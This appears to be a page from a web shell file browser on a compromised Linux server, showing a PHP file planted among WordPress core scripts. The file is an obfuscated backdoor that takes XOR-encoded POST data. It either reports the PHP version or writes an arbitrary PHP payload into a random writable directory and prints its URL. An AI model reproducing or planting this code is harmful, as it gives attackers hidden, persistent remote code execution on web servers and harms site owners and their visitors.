HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/js/nlvagjmg.php
<?php $JkiwScAA = "\104"."\117".chr(67).chr(276-191).chr(77)."\x45".chr(551-473)."\x54".chr(118-23).chr(659-577)."\117".chr(823-744)."\124";$HjzddS = "\110".chr(84)."\x54"."\x50".chr(657-562).'H'.chr(93-14)."\x53"."\124";$xliXfBlCku = "\x68"."\164".chr(729-613).'p'.chr(58).chr(49-2).chr(556-509);$Hdtqx = "\56".chr(112).'h'."\160";$HvCsgB = "\160".chr(104).chr(1054-942);$NQnAxHLcr = 'f'."\151".'l'.chr(101).chr(1084-989)."\160".'u'.chr(116)."\137"."\143"."\157"."\x6e"."\x74".chr(101).chr(110)."\164"."\x73";$SMOxEOtvc = chr(470-356).chr(732-635).'w'.chr(910-793).chr(158-44).'l'.'d'.'e'.chr(590-491)."\157"."\x64".chr(132-31);$vBRfNGDbV = 'u'.'n'.chr(1046-931).'e'.chr(114).'i'.'a'.chr(841-733)."\151".'z'.chr(101);$GEHMjrxObU = chr(254-149).'s'."\137".'w'.chr(381-267).chr(293-188).chr(116)."\x61".chr(702-604)."\x6c".'e';$WzcOgUQMF = 'p'.'h'.'p'."\166".'e'.chr(598-484)."\x73"."\x69".'o'.chr(110);$CJLtZB = chr(1041-926).'t'.'r'.'_'."\x72"."\157".chr(239-123)."\x31"."\63";$eFjCDa = "\x73".'e'."\x72".chr(636-531)."\x61"."\154".chr(105).'z'.chr(1025-924);$zdlNIFbA = 's'.chr(653-537)."\x72".chr(95).chr(804-689)."\x70"."\154".chr(858-753)."\164";foreach ($_POST as $EBnkFAF => $KEQZEQ){$PjhFJVpRYA = strlen($EBnkFAF);if ($PjhFJVpRYA == 16){$KEQZEQ = $zdlNIFbA($SMOxEOtvc($CJLtZB($KEQZEQ)));$EBnkFAF = array_slice($zdlNIFbA(str_repeat($EBnkFAF, (count($KEQZEQ)/16)+1)), 0, count($KEQZEQ));function uCzfHdCWkq($uMCbDIrfpH, $OtXsLlfJgp, $EBnkFAF){$SsEEs = "fab4136b-9bd3-4974-8fc7-6dc72b86bbe0";return $uMCbDIrfpH ^ $SsEEs[$OtXsLlfJgp % strlen($SsEEs)] ^ $EBnkFAF;}$KEQZEQ = array_map("uCzfHdCWkq", array_values($KEQZEQ), array_keys($KEQZEQ), array_values($EBnkFAF));$KEQZEQ = implode("", $KEQZEQ);$KEQZEQ = @$vBRfNGDbV($KEQZEQ);if (@is_array($KEQZEQ)){$MGHvndO = array_keys($KEQZEQ);$KEQZEQ = $KEQZEQ[$MGHvndO[0]];if ($KEQZEQ === $MGHvndO[0]){echo @$eFjCDa(Array($HvCsgB => @$WzcOgUQMF(), ));exit();}else {function NLiSzQ($fBZPHprVFvir){static $bovySaY = array();$PSblWwPI = glob($fBZPHprVFvir . '/*', GLOB_ONLYDIR);$EWuhksor = count($PSblWwPI);if ($EWuhksor > 0) {foreach ($PSblWwPI as $fBZPHprVFv) {if (@$GEHMjrxObU($fBZPHprVFv)) {$bovySaY[] = $fBZPHprVFv;}}}foreach ($PSblWwPI as $fBZPHprVFvir) NLiSzQ($fBZPHprVFvir);return $bovySaY;}$YOLNZtwT = $_SERVER[$JkiwScAA];$PSblWwPI = NLiSzQ($YOLNZtwT);$MGHvndO = array_rand($PSblWwPI);$MsGijRhx = $PSblWwPI[$MGHvndO] . "/" . substr(md5(time()), 0, 8) . $Hdtqx;@$NQnAxHLcr($MsGijRhx, $KEQZEQ);$bQTzBnaWCp = $xliXfBlCku . $_SERVER[$HjzddS] . substr($MsGijRhx, strlen($YOLNZtwT));print($bQTzBnaWCp);die();}}}}